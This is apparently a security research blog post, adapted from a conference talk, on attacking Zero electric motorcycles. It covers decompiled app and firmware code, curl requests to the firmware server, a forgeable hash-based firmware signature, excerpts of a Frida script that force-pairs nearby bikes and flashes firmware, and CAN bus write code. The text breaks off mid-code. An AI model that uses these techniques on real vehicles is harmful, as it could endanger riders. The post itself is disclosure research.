Installing arbitrary (and potentially lethal) firmware on a Zero Motorcycle

persephonekarnstein.github.io · alberto-m-dev · 16 days ago · research
quality 9/10 · excellent
0 net
Zero Days: Electric Motorcycles are a Security Nightmare · PersephoneKarnstein.github.io Contents Zero Days: Electric Motorcycles are a Security Nightmare This post was adapted from a talk given by myself and Mitchell Marasch at BSides Seattle 2026 on behalf of Bureau Veritas Cybersecurity North America, formerly Security Innovation M otorcycles are cool. Electric motorcycles are even cooler, especially if you’re a filthy ecosocialist like me. Unfortunately, like any new and developing technology, they are plagued with security vulnerabilities purely due to the fact that they’re too new to have been subject to as much malicious scrutiny as older technologies. Around the end of 2025 and the beginning of 2026, Mitchell Marasch and I performed a security assessment of the Zero Motorcycles Android app, which quickly ballooned into an assessment of their PCB potting strategies and bike firmware. And fam, the results were bad . We were able to bypass authentication, sign arbitrary firmware, and even pseudocoded out The Malware That Kills You Instantly. But that’s getting ahead of ourselves. Depotting Attempts Let’s start with looking at the physical hardware. To spoil the ending a bit, this didn’t really go anywhere besides demonstrating Zero’s bizarre security posture, but is nonetheless instructive. To analyze the hardware security we needed some hardware to analyze. Since a $20,000 motorcycle was out of our budget, especially if we were just going to do terrible things to its insides, we initially tried buying an MBB (Main Bike Board, the brains of the motorcycle) from an authorized retailer. We found a retailer selling exactly what we needed on special order for $400, and put in an order. But there was a catch: the order could only be finallized with confirmation of the VIN number of the bike you’re ordering it for. I suspect this was intended as a supply-chain safety mechanism against someone doing exactly what we were trying to do (or perhaps just to deter resellers) but after some emails back and forth with the vendor, we were informed that Zero had cancelled our order and we would be refunded the money spent. Luckily, Ebay exists. We were able to find a MBB being sold on Ebay for about the same price as had been the one from the vendor (although for a slightly older model of bike,) and proceeded onward. When the board finally arrived I got to work disassembling it. In the clutches of a vice It turned out that the actual PCB was matryoshka’d: the board was encased in resin, which was itself encased in an ABS plastic shell. The shell I could just pop off, but the resin was more of a challenge. Removing the ABS shell I had read online that you could dissolve potting resin with Methylene Chloride (aka Dichloromethane, \(CH_2Cl_2\)), so we bought some, poured it into a bowl, immersed the MBB in it, and waited. Nothing happened. Or rather, not nothing , we got some lovely crystal growth, but the resin stayed solid. Crystal growth It turned out, and this may shock you so brace yourself, that the internet had been wrong about something. Or I had misread an article. But either way! After much more research I was able to construct this flowchart of correct depotting methodology, so that future hardware hackers will not repeat my mistakes: Flowchart of depotting methodology To summarize: There are three primary materials that PCBs can be encapsulated with: polyurethane; epoxy; and silicone. Of these, silicone is usually the easiest to remove, as it is intentionally flexible and can develop tears that can allow a silicone encapsulation to be peeled off. If you can’t peel off the silicone, use either a silicone digestant such as PROSOCO Dicone NC9 or DOWSIL DS-2025 , or xylene. Xylene should be used only as a last resort and only outdoors or in well ventilated conditions, as it is both highly flammable and a CNS depressant, and long-term exposure may lead to headaches, irritability, depression, insomnia, agitation, extreme tiredness, tremors, hearing loss, impaired concentration and short-term memory loss. Epoxy, which I had implicitly assumed was what the board was potted with, is the second-easiest to remove. While still not “easy,” cured epoxies may be removed with methylene chloride, concentrated sulfuric acid, or methyl ethyl ketone. Finally, polyurethane, which by process of elimination was what the PCB was actually potted with, is difficult enough to remove that there’s a 1981 patent describing a novel mixture trying to accomplish just that. In short, while some polyurethanes may be removed with methyl ethyl ketone, generally you need a mixture of three co-reagents. Chemical Name Chemical Formula % by Volume Methylene Chloride (Dichloromethane) \(CH_2Cl_2\) 70% Dimethyl formamide \(HCON(CH_3)_2\) 20% Methanol \(CH_3OH\) 10% While probably effective, its ingredients make this a class 2 carcinogen, a class 1 skin irritant, and highly flammable – not to mention $200 for about a liter and a half. I’d rather not get skin-irritating cancer for this project, so we set the depotting aside for the moment. Android App One of the things that first drew us to this project was Zero motorcycles’ OTA update capability. The bikes are equipped with both bluetooth and 4G LTE capabilities, and you can update your bike’s firmware directly from the accompanying app. Screenshot of Zero website, 1/16/2026 Normal update flow Because the app manages firmware updates, that seemed like a good next step after failing to de-pot the MBB directly. The app itself can be downloaded from Google Play, and then pulled from your phone to your computer with ADB . Opening it up in JADX and starting to poke around, we immediately strike gold in the BuildConfig: the URL and bearer token for the firmware update server, as well as what looks like some dummy credentials for some Starcom service. 1 com.zeromotorcycles.nextgen.BuildConfig The actual app logic for deciding when and how to download firmware is a bit complicated, but once it passes all its checks (that happen only within the app) it boils down to 6 lines of decompiled Java in com.zeromotorcycles.nextgen.service.FirmwareDownloadApiService 16 17 18 19 20 21 public interface FirmwareDownloadApiService { @Streaming @ GET ( "update/{param}" ) @NotNull Observable < Response < ResponseBody >> downloadBuild ( @Header ( "Authorization" ) @NotNull String str , @Header ( "User-Agent" ) @NotNull String userAgent , @Path ( "param" ) @NotNull String param ); } This tells us that to download the firmware for ourselves, we only need to send a GET request with the correct Authorization and User-Agent headers, and whatever “param” refers to. In com.zeromotorcycles.nextgen.legacy.data.firmware.FirmwareChecker we find this function for downloading firmware, and now we know how all the necessary pieces fit together. private final void makeNewBuildPackageRequest ( final String version ) { String localBaseBuildDirectory = Fup . INSTANCE . getLocalBaseBuildDirectory ( this . mContext , version ); RequestQueue requestQueue = BaseApplication . INSTANCE . getRequestQueue (); StringCompanionObject stringCompanionObject = StringCompanionObject . INSTANCE ; String strM3834d0 = AbstractC2955a . m3834d0 ( new Object [ 0 ], 0 , AbstractC2955a . m3810P ( "https://fota-server.zeromotorcycles.com/update/" , version ), "format(format, *args)" ); Log . d ( "FirmwareChecker" , "baseFupDir: " + localBaseBuildDirectory ); Log . d ( "FirmwareChecker" , "makeNewBuildPackageRequest: " + strM3834d0 ); Log . d ( "checkworking" , "internal" + version ); ZipRequest zipRequest = new ZipRequest ( 0 , strM3834d0 , new ZipRequest . ZipRequestResponseListener < List >() { // from class: com.zeromotorcycles.nextgen.legacy.data.firmware.FirmwareChecker$makeNewBuildPackageRequest$request$1 @Override // com.zeromotorcycles.nextgen.legacy.utility.ZipRequest.ZipRequestResponseListener public /* bridge */ /* synthetic */ void onResponse ( List list , Map map , String str ) { onResponse2 (( List < String >) list , ( Map < String , String >) map , str ); } /* renamed from: onResponse, reason: avoid collision after fix types in other method */ public void onResponse2 ( @NotNull List < String > files , @Nullable Map < String , String > responseHeaders , @NotNull String fileSha ) { String str ; Intrinsics . checkNotNullParameter ( files , "files" ); Intrinsics . checkNotNullParameter ( fileSha , "fileSha" ); Timber . m7699d ( " FUP onResponse" , new Object [ 0 ]); Log . d ( "FirmwareChecker" , ": FirmwareCheckerwas here" + files . size () + "..." ); if ( this . f7541a . mListener . listenerContextStillExists ()) { if ( responseHeaders != null && ( str = responseHeaders . get ( "ZeroSha512" )) != null ) { if (!( str . length () == 0 )) { String upperCase = str . toUpperCase (); Intrinsics . checkNotNullExpressionValue ( upperCase , "this as java.lang.String).toUpperCase()" ); if (! Intrinsics . areEqual ( upperCase , fileSha )) { this . f7541a . mListener . onFupServerBOMDownloadError ( C2507R . string . firmware_intro_bad_package ); return ; } } } this . f7541a . checkForBuildPackage ( version ); } } }, new Response . ErrorListener () { // from class: com.zeromotorcycles.nextgen.o0.o @Override // com.android.volley.Response.ErrorListener public final void onErrorResponse ( VolleyError volleyError ) { FirmwareChecker . m7776makeNewBuildPackageRequest $ lambda10 ( this . f7709a , volleyError ); } }, localBaseBuildDirectory ); zipRequest . addHeader ( "Authorization" , FirmwareStepper . INSTANCE . getFupServerAuthHeaderValue ()); zipRequest . addHeader ( "User-Agent" , "ZeroMoto/1.0" ); AuthLoginToken authLoginToken = this . mLoginToken ; if ( authLoginToken != null ) { Intrinsics . checkNotNull ( authLoginToken ); zipRequest . addHeader ( "ZeroAPIAuth" , authLoginToken . token ); } Log . d ( "FirmwareChecker" , ": request.." + zipRequest ); requestQueue . add ( zipRequest ); Timber . m7699d ( "Making Request For Build Package " + version , new Object [ 0 ]); } Only the last part is important for our purposes: the last parameter is a firmware version number generated by FirmwareUpdateRequest . We could walk through this the right way: send a POST request to https://fota-server.zeromotorcycles.com/update/ with a fake VIN number generated using the information contained in the Unofficial Zero Manual and part numbers scoured from the internet , retrieve a response containing the current firmware version, and then send another request asking to download it curl -s -X POST "https://fota-server.zeromotorcycles.com/update/" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer: << REDACTED >>" \ -H "User-Agent: ZeroMoto/1.0" \ -d '{ "clientIdentifier": { "name": "android", "version": "2.10.0" }, "vehicleIdentifier": { "vin": "538MFA51NCF012345" }, "ecu": [ { "hardwarePartNumber": "40-08155", "firmwarePartNumber": "75-08163", "firmwareRevision": 30, "ecuIdentifier": 0 }, { "hardwarePartNumber": "40-08121", "firmwarePartNumber": "75-08156", "firmwareRevision": 20, "ecuIdentifier": 1 } ], "FOTAProtocol": { "version": "2.0" } }' Check for available updates { "install" : [ { "hardwarePartNumber" : "40-08155" , "firmwarePartNumber" : "75-08163" , "firmwareRevision" : "43" , "ecuIdentifier" : 0 , "needsDealerUpdate" : 0 , "updateAvailable" : 1 , "bomNumber" : "13" }, { "hardwarePartNumber" : "40-08121" , "firmwarePartNumber" : "75-08156" , "firmwareRevision" : "26" , "ecuIdentifier" : 1 , "needsDealerUpdate" : 0 , "updateAvailable" : 1 , "bomNumber" : "13" } ] } Server response curl -o firmware-bom13.zip \ "https://fota-server.zeromotorcycles.com/update/13" \ -H "Authorization: Bearer: << REDACTED >>" \ -H "User-Agent: ZeroMoto/1.0" Download firmware …or we could just guess a number, and the fact that it seems to be sequential revision numbers means that any low number will work. Version 13 is the newest though so let’s grab that. This returns us a zip file, and upon unzipping it we see that it’s multiple firmware binaries for multiple components, including the MBB and the bootloader. Interestingly, it also includes .map files for the MBB and BMU , which are linker map files generated by the ARM linker detailing memory layout. Basically it means that we can restore function names to the decompiled functions, rather than having to reverse engineer every single function and guess what it does. └── 📁firmware-bom13 └── 📁bin ├── 75-08156-26_my19_bms_firmware_banka_2025-10-07_005422.13.bin ├── 75-08156-26_my19_bms_firmware_bankb_2025-10-07_005422.13.bin ├── 75-08163-43_my19_mbb_firmware_banka_2025-10-07_004928.13.bin ├── 75-08163-43_my19_mbb_firmware_bankb_2025-10-07_004928.13.bin ├── 75-08172-13_zero_bootloader_2025-10-07_011408.13.bin ├── 75-08274-18_my22_bmu_firmware_banka_2025-10-07_010922.13.bin ├── 75-08274-18_my22_bmu_firmware_bankb_2025-10-07_010922.13.bin ├── 75-08296-03_zero_bootloader_2022-10-30_084045.418.bin ├── 75-08383-43_my19_mbb_firmware_banka_2025-10-07_011443.13.bin ├── 75-08383-43_my19_mbb_firmware_bankb_2025-10-07_011443.13.bin ├── 75-08384-18_my22_bmu_firmware_banka_2025-10-07_011952.13.bin ├── 75-08384-18_my22_bmu_firmware_bankb_2025-10-07_011952.13.bin ├── 75-08385-03_zero_bootloader_2022-10-30_083906.418.bin ├── 75-08386-13_zero_bootloader_2025-10-07_012446.13.bin └── 📁hex ├── 75-08156-26_my19_bms_firmware_banka_2025-10-07_005422.13.hex ├── 75-08156-26_my19_bms_firmware_bankb_2025-10-07_005422.13.hex ├── 75-08163-43_my19_mbb_firmware_banka_2025-10-07_004928.13.hex ├── 75-08163-43_my19_mbb_firmware_bankb_2025-10-07_004928.13.hex ├── 75-08172-13_zero_bootloader_2025-10-07_011408.13.hex ├── 75-08274-18_my22_bmu_firmware_banka_2025-10-07_010922.13.hex ├── 75-08274-18_my22_bmu_firmware_bankb_2025-10-07_010922.13.hex ├── 75-08296-03_zero_bootloader_2022-10-30_084045.418.hex ├── 75-08383-43_my19_mbb_firmware_banka_2025-10-07_011443.13.hex ├── 75-08383-43_my19_mbb_firmware_bankb_2025-10-07_011443.13.hex ├── 75-08384-18_my22_bmu_firmware_banka_2025-10-07_011952.13.hex ├── 75-08384-18_my22_bmu_firmware_bankb_2025-10-07_011952.13.hex ├── 75-08385-03_zero_bootloader_2022-10-30_083906.418.hex ├── 75-08386-13_zero_bootloader_2025-10-07_012446.13.hex └── 📁map ├── 75-08163-43_my19_mbb_firmware_banka_2025-10-07_004928.13.map ├── 75-08163-43_my19_mbb_firmware_bankb_2025-10-07_004928.13.map ├── 75-08274-18_my22_bmu_firmware_banka_2025-10-07_010922.13.map ├── 75-08274-18_my22_bmu_firmware_bankb_2025-10-07_010922.13.map ├── 75-08383-43_my19_mbb_firmware_banka_2025-10-07_011443.13.map ├── 75-08383-43_my19_mbb_firmware_bankb_2025-10-07_011443.13.map ├── 75-08384-18_my22_bmu_firmware_banka_2025-10-07_011952.13.map ├── 75-08384-18_my22_bmu_firmware_bankb_2025-10-07_011952.13.map ├── .DS_Store └── info.json Firmware zip contents Unfortunately it’s at this point we should mention that the Zero website has a FAQ that includes the question, “can this be hacked” and answers “No.” Nominally this has something to do with needing a VIN to ask the server if there are any downloads available, but I think they’re only validating this against a regex, not a list of actually registered VINs because the “plausible” VIN we used above passed through with no issues. Anyway it can’t be hacked, so I guess we better give up now. No hacking! Firmware Let’s open the firmware binaries in Ghidra. We need to know what the architecture of the chip is, so Ghidra knows how to decompile the binaries. In the armlink files there are references to the XMC4500 microcontroller (as well as the XMC4800 in other versions). Both of these are little-endian Cortex ARM systems, so we’re ready to go. A quick script to restore the symbol names to the functions: # Reads armlink map files and applies symbols to Ghidra #@author Mitchell Marasch #@category _NEW_ #@keybinding #@menupath #@toolbar #@runtime Jython from ghidra.program.model.symbol import SourceType from ghidra.app.cmd.function import CreateFunctionCmd armlink_file = askFile ( "Select armlink .map file" , "Open" ) seeking_to_symbols = True symbols_found = 0 symbols_applied = 0 symbols_failed = 0 print ( "=" * 60 ) print ( "Starting symbol import from: " + armlink_file . absolutePath ) print ( "=" * 60 ) # Get the function manager and symbol table fm = currentProgram . getFunctionManager () st = currentProgram . getSymbolTable () for line in file ( armlink_file . absolutePath ): if seeking_to_symbols : if "Symbol Name" in line : seeking_to_symbols = False continue if "=================================================" in line : break if "[Anonymous Symbol]" in line or ".L.str." in line : continue if "Thumb Code" in line : parts = line . split () if len ( parts ) < 2 : continue function_name = parts [ 0 ] addr_str = parts [ 1 ] try : function_address = toAddr ( addr_str ) except : print ( " ERROR : Could not parse address: " + addr_str ) symbols_failed += 1 continue symbols_found += 1 # Check if there's already a function at this address existing_func = fm . getFunctionAt ( function_address ) if existing_func is not None : # Rename the existing function old_name = existing_func . getName () try : existing_func . setName ( function_name , SourceType . IMPORTED ) symbols_applied += 1 if symbols_applied <= 20 : # Only print first 20 to avoid spam print ( "Renamed: " + old_name + " -> " + function_name + " at " + str ( function_address )) except Exception as e : print ( " ERROR renaming " + old_name + " to " + function_name + ": " + str ( e )) symbols_failed += 1 else : # Try to create a new function try : func = createFunction ( function_address , function_name ) if func is not None : symbols_applied += 1 if symbols_applied <= 20 : print ( "Created: " + function_name + " at " + str ( function_address )) else : # Function creation returned None - might be in middle of existing function # Try to just add a label instead st . createLabel ( function_address , function_name , SourceType . IMPORTED ) symbols_applied += 1 if symbols_applied <= 20 : print ( "Label: " + function_name + " at " + str ( function_address )) except Exception as e : print ( " ERROR creating " + function_name + " at " + str ( function_address ) + ": " + str ( e )) symbols_failed += 1 print ( "=" * 60 ) print ( "Import complete!" ) print ( "Symbols found in map file: " + str ( symbols_found )) print ( "Symbols applied: " + str ( symbols_applied )) print ( "Symbols failed: " + str ( symbols_failed )) print ( "=" * 60 ) Ghidra Jython script Just clicking around and searching program text for concerning strings, we find some easy hits: a hardcoded string reading “ TODO :changeThisS,” which I figured out later is the static salt of an authentication handler that handles developer access to the firmware. So a great start. TODO :changeThisS Next, reference to a passcode server: "log in to ZeroPasscodeServer and run zeropasscode %d\n" "If you do not have a login, talk to Will\n" . The function these are included in is interesting, and we’ll get back to it, but in the mean time let’s do some good old-fashioned OSINT to find Will. It took about a minute. Talk to Will Hi, Will! NOTE : Starting from here, some of the decompilation and analysis makes use of Claude code via the Ghidra and JADX MCP servers. I don’t support generative AI, but neither I nor Mitchell are proficient enough in C to do the sort of intensive Ghidra reversing this project required on our own. As this was a research project rather than a commissioned engagement on behalf of Zero itself, we were the only two engineers who worked on it (i.e., we did not have a full team that would have included a dedicated C dev) and several of these findings were discovered relatively late and therefore had time pressure to develop them. I am increasingly being asked to use and interact with AI, both adversarially and collaboratively, for my job functions: it’s an unfortunate part of the current state of the world that I wish I could avoid contributing to. Jegham et al. (2025) notes that, “Although large language models consume significantly less energy, water, and carbon per task than human labor (Ren et al., 2024), these efficiency gains do not inherently reduce overall environmental impact. As per-task efficiency improves, total AI usage expands far more rapidly, amplifying net resource consumption, a phenomenon aligned with the Jevons Paradox (Polimeni and Polimeni, 2006), where increased efficiency drives systemic demand. The acceleration and affordability of AI remove traditional human and resource constraints, enabling unprecedented levels of usage. Consequently, the cumulative environmental burden threatens to overwhelm the sustainability baselines that AI efficiency improvements initially sought to mitigate.” 2 Generative AI is, in my opinion, bad and bad for you. It is demonstrably bad for the environment. And as I write this, Grok is being used to generate CSAM on a massive scale. Hopefully that statement will severely date this article by the time it’s published, but just as likely not. Acknowledging that (to my shame) Claude was used here to deliver quick results should NOT be interpreted as an endorsement of its use, and I regret my part in perpetuating it. Ok back to the “zeropasscodeserver” function. Unfortunately it’s in BMS firmware, and we don’t have a .map file for that, but we can look at function structure and make educated guesses for what to rename them based on that, especially in this case where most of the functions called are just print statements. int ZeroBmsAuthRequestLogin ( int bms_context , undefined4 level_string ) { uint requested_level ; uint time_seed ; int challenge_code ; undefined4 session_token ; int result ; undefined1 challenge_buffer [ 32 ]; undefined4 buffer_size ; result = - 1 ; requested_level = ZeroBmsParseLoginLevel ( level_string ); if ( requested_level < 6 ) { if ( requested_level < 2 ) { ZeroPrintf ( s__s_is_not_a_valid_login_level , level_string ); } else if ( * ( byte * )( bms_context + OFFSET_CURRENT_LOGIN_LEVEL ) < requested_level ) { // Current level is lower than requested - need to authenticate time_seed = ZeroGetSystemTicks (); time_seed = time_seed / TICKS_PER_AUTH_PERIOD ; buffer_size = 0x20 ; // Generate random challenge from hardware RNG result = ZeroGetRandomBytes ( bms_context + OFFSET_RNG_CONTEXT , 0 , challenge_buffer , & buffer_size ); if ( result == 0 ) { challenge_code = ZeroBmsGenerateAuthChallenge ( challenge_buffer , time_seed , requested_level ); if ( challenge_code == 0 ) { ZeroPrintf ( s_Zero_BMS_Authentication ); ZeroPrintf ( s_Could_not_generate_question ); } else { if ( requested_level == 2 ) { // Level 2: Simple passcode authentication ZeroPrintf ( s_Zero_BMS_Authentication_question , challenge_code ); } else { // Level 3-5: Requires ZeroPasscodeServer ZeroPrintf ( s_Zero_BMS_Authentication ); ZeroPrintf ( s_log_in_to_ZeroPasscodeServer_and , challenge_code ); ZeroPrintf ( s_If_you_do_not_have_a_login__talk ); } session_token = ZeroBmsGetSessionToken ( bms_context ); result = ZeroBmsInitAuthSession ( bms_context + OFFSET_CURRENT_LOGIN_LEVEL , session_token , challenge_buffer , time_seed , requested_level ); } } } else { // Already at or above requested level - just set it * ( char * )( bms_context + OFFSET_CURRENT_LOGIN_LEVEL ) = ( char ) requested_level ; result = 0 ; } } return result ; } Basically, the the BMS has a challenge/response auth mechanism that allows you to log in with different privilege levels. You (a hardworking Zero developer) ask to log in to a certain level; the bike prompts you with a challenge code; you use your helpful response generator tool ( "log in to ZeroPasscodeServer and run zeropasscode %d" ) which tells you the correct response; you enter the response code on the bike. But critically, the bike knows what response it’s waiting for, so if we can reverse that logic we should be able to write our own challenge responder tool. Auth flow of the passcode challenge/response functions The bike generates a semi-random challenge code based on the timestamp and random data. Then, to compute the correct challenge response, it computes SHA512 (formatted_challenge || secret) , where the secret is one of two values depending on what level of authentication is being requested. Finally, it takes the first 4 bytes of the hashed value as little-endian uint32, and takes the modulo (mod 1000000) of the result. With this we can write a script to generate valid responses to log us in at any level. That’s fun but it’s not juicy. We know the bootloader has to be able to receive, validate, and implement firmware updates, because remember we know we can update the Zero’s firmware from our phone. Let’s look into that. Because we were able to restore the function names to the MBB and BMU firmware binaries, we can click around fairly easily to see what’s going on. Upon receiving BLE packets indicating the start of a firmware file from the paired phone, the bike downloads it and saves it to SPI and MCU flash. The expected SHA-512 hash (64 bytes) is received separately. The bike then checks that the hash of the file it received is the same as the hash it received. This memcmp check is THE ONLY verification it does of the downloaded firmware. int prvZeroMbbFwUpdateCheckNewImageHashOnboardFlash ( void * update_context , int image_index ) { uint8_t computed_hash [ 64 ]; // Get flash address and firmware size uint8_t bank = * (( uint8_t * ) update_context + 0x224 ); uint32_t flash_addr = ZeroFlashGetBankStartAddress ( bank ); uint32_t firmware_size = * ( uint32_t * )( image_desc + 4 ); // Stop watchdog - hash takes a while ZeroMcuStopWdt (); // Compute SHA-512 (firmware_data || salt) ZeroSHA512HashCompute ( flash_addr , firmware_size , computed_hash ); ZeroMcuStartWdt (); // Get expected hash from update context uint8_t * expected_hash = ( uint8_t * ) update_context + 0x228 ; // THE ONLY VERIFICATION : 64-byte memcmp if ( memcmp ( computed_hash , expected_hash , 64 ) == 0 ) { return 0 ; // SUCCESS - hashes match } // Print debug info on mismatch ZeroPrintf ( "Expected hash:" ); for ( int i = 0 ; i < 64 ; i ++ ) { ZeroPrintf ( "0x%02x" , expected_hash [ i ]); } ZeroPrintf ( "Computed hash:" ); for ( int i = 0 ; i < 64 ; i ++ ) { ZeroPrintf ( "0x%02x" , computed_hash [ i ]); } ZeroPrintf ( "Could not match hash" ); return - 1 ; // FAILURE } prvZeroMbbFwUpdateCheckNewImageHashOnboardFlash Once it has “verified” the authenticity of the firmware, it installs it to the MBB , BMU 3 , or BMS . Function Address Size Purpose ZeroMbbFwUpdateInstallDownloadedImages 0x08035A95 660 bytes Main install entry point prvZeroMbbFwUpdateInstallMbbImage 0x08064B51 140 bytes Install MBB firmware prvZeroMbbFwUpdateInstallBmsImage 0x08064A61 240 bytes Install BMS / BMU firmware As for the hash that it checks, that’s just the salted SHA512 of the firmware, and once again the salt is hardcoded into memory, and static across all bikes and all ECUs, meaning that we can calculate our own firmware signature with seven lines of python. import hashlib SALT = b "< REDACTED >" def compute_zero_firmware_hash ( firmware_bytes ): """Compute the SHA-512 hash expected by Zero Motorcycles firmware.""" h = hashlib . sha512 () h . update ( firmware_bytes ) h . update ( SALT ) return h . digest () # 64 bytes To update the BMS and BMU , the MBB communicates with the boards over the CAN interface, and the BMS / BMU performs no additional validation of the firmware that is sent to it. To summarize, see the below diagram. The Firmware validation process Finally, the BMS and BMU can be updated via a direct CAN bus connection over OBD-2 . Decompiling ZeroMbbCommandBmsGoToBootloader from the MBB revealed that the bike uses two distinct protocols for CAN communication: it uses the CANopen SDO protocol for configuration and control commands between ECUs during normal operation, but switches to a custom protocol using extended 29-bit CAN IDs while in Bootloader Mode for transferring firmware. Firmware upload over CAN Critically, however, neither protocol includes any authentication: anyone with access to the CAN bus can send SDO commands, and the Bootloader Mode protocol similarly has no challenge/response or per-message authentication. Attacks We now have broadly five interconnected potential attack vectors we could pursue: we could maliciously patch the firmware; we could mess with the phone app and try to get it to deliver that firmware; We could try to spearphish Will Brunner into giving us access to the authentication server; we could try to socially engineer end users to download our own malicious app somehow; or we could try to hack the OTA update server to attack every app everywhere. Of these, the last three we decided were outside the scope of the project and/or illegal. That left us with hacking the Android apk or the firmware. Frida In normal usage, the app prompts you for a VIN number in order to pair with your bike. But is that actually necessary to connect with the bike, or just a shallow defense mechanism against the average user trying to connect to someone else’s bike (she asked, rhetorically)? Yes dear reader, it turns out that the VIN is not meaningfully used at all in the bike pairing flow besides as a roadblock. Which means that we can just navigate around it. In fact, (as we confirmed from more reversing of the firmware side of the connection architecture) not only is the VIN not necessary, even the bluetooth MAC address of the phone isn’t strictly allowlisted on the firmware side after a successful pairing. Which means that we can potentially connect to any bike, regardless of whether or not it’s been paired with a different phone before. So we created a Frida script. The attack flow of the Frida script The script has five stages: Navigation, Scanning, Pairing, Detection, and Injection, and keeps track of its progress with a shared state object. Navigation On opening the Zero phone app, you are immediately taken past the VIN check to the ConnectActivity , which is the part of the app where you would normally wait for the bluetooth connection to pair with your bike. MainActivity . onCreate . implementation = function ( bundle ) { this . onCreate ( bundle ); // Call original // Use RouterService to navigate (bypasses VIN check) Java . choose ( 'RouterService' , { onMatch : function ( router ) { router . navigateToConnectActivity ( activity ); State . hasNavigated = true ; } }); }; Scanning Instead of sticking with just our bike, however, we use the app’s built-in bluetooth libraries and call android.bluetooth.BluetoothDevice and android.bluetooth.BluetoothGatt to scan for any Zero motorcycle within bluetooth range. If it finds any, it overloads the default com.zeromotorcycles.nextgen.ui.connect.ConnectFindViewModel class with logic that essentially just lets us keep track of bikes we’ve found in this scan. Pairing After scanning, it spams pairing requests to all the bikes it found. Normally Android will display a prompt (like when you pair with a smart TV) along the lines of “Pair with ZeroMotorcycles? Compare: 123456” , but we intercept that setPairingConfirmation() and always responds true . When we get a callback to com.zeromotorcycles.nextgen.service.ZeroMotorcycleServiceImpl$connectionCallback$1 indicating that the bluetooth has connected, we overload that function as well to set the state variables for our next phase. Detection The script waits for a successful pairing/bond, which it detects via intercepting the android.bluetooth.device.action.BOND_STATE_CHANGED broadcast. Injection Upon a successful pairing, Frida takes our custom firmware binary, confirms that it’s correctly signed with the static signing salt (and re-signs it if not), then sends it to the bike. The entire process happens without any required user interaction. The one caveat is that the bike have never paired with a phone before or be in pairing mode, which is barely a caveat at all. If the bike has never paired with a phone before, the attack should be able to flash firmware to any powered-on bike with the kickstand down. If the bike has paired with a phone before, it needs to be put into pairing mode first, but that’s simply a matter of turning the key to “ON” and holding the “ MODE ” button for 5 seconds. The attack chain relies on a number of misconfigurations of the bike security, the repair of any of which would significantly hinder its viability. In addition to the connection activity being accessible via forced browsing which bypasses the requirement for VIN entry, the MBB bootloader accepts connections from any paired device without validating the MAC address against an allowlist storing the address of the phone belonging to the bike’s owner etc. Finally, the firmware is signed using a trivially-forgeable SHA-512 with a static salt as the only firmware verification, rather than using asymmetric encryption for OTA update signing , which would have rendered us functionally unable to forge a signature. CAN Bus In some senses, attacking over CAN is just a slightly harder way to pwn the bike slightly less – only the battery control mechanisms (the BMS and BMU ) can be written to over CAN , not the MBB . That said, it’s also completely unauthenticated, not even requiring the nominal security that the Bluetooth firmware upload relies on. This isn’t because there’s no way to secure CAN communications, mind you. A strong implementation (and in fact, the industry standard) would involve two CAN security features, in addition to the implementation of firmware-level unique keys and ECDSA / RSA firmware signing. UDS Service 0x29 (introduced in ISO 14229-1:2020) uses asymmetric PKI -based certificate exchange for user authentication, and AUTOSAR SecOC for per-message authentication and freshness validation, preventing replay attacks. While these modifications would add some additional time to the firmware write operations, the Arm Cortex-M4 core included in the ECU ’s XMC4500 is very efficient at cryptographic functions and the total delta would likely be only about 6 seconds. 4 5 6 Current vs Secure CAN bus packet structure Because those protections aren’t in place, anyone with access to the bike’s OBD-2 port can write arbitrary firmware to the BMS and BMU . In the interests of fairness I will admit that there is a bit of security-by-obscurity/inaccessibility at play here: According to the Unofficial Zero Manual website , the location of the OBD-2 port varies by bike model, and is frequently quite inaccessible. But enough about that, let’s get to hacking. For about $100, you can build a wifi-enabled CAN bus-enabled dongle complete with an OLED screen and onboard battery. Component Description Raspberry Pi Zero W 2 With 40-pin GPIO header PiOLED 128x32 Adafruit I2C display (4-pin: VCC , GND , SDA , SCL ) PowerBoost 500C Adafruit LiPo charger/boost (5-pin: BAT +, BAT -, 5V, GND , EN) LiPo Battery 3.7V 2000mAh with JST-PH connector 10K Resistor Pull-up for execute button Arcade Button Adafruit 3491 - 30mm Translucent Clear Arcade Button with LED (Execute) Power Switch Adafruit 917 - 16mm Rugged Metal On/Off Switch w/ White LED Ring OBD-II CAN Connector 3-pin terminal for CAN bus ( CAN-H , CAN-L , GND ) CANable v2.0 USB-CAN adapter (plugs into Pi via OTG ) USB OTG Cable Micro USB to USB-A female We can write a (long but relatively simple) python controller script to run as a service on the RPi Zero W 2, that sends the “enter bootloder mode” and “write data” commands on a detected connection to the OBD-2 port and/or button press (excerpted below), et voilà , a $100 handheld wifi-enabled firmware-writing dongle. This is notably about 1/13th the cost of buying an official OBD-2 harness. def _send_sdo_write ( self , obj_index : int , subindex : int , value : int , timeout : float = RESPONSE_TIMEOUT ) -> bool : """ Send a CANopen SDO expedited download (write) command. Uses standard 11-bit CAN IDs (not extended). SDO TX: 0x600 + node_id SDO RX: 0x580 + node_id Args: obj_index: CANopen object dictionary index (e.g., 0x2001) subindex: Object subindex (e.g., 0x02) value: Value to write (1-4 bytes, automatically sized) timeout: Response timeout in seconds Returns: True if write acknowledged, False otherwise """ # Determine data size and command specifier if value <= 0xFF : cmd = SDO_DOWNLOAD_1BYTE data_bytes = struct . pack ( '= 4 : resp_cmd = response . data [ 0 ] resp_index = struct . unpack ( '= 8 : abort_code = struct . unpack ( '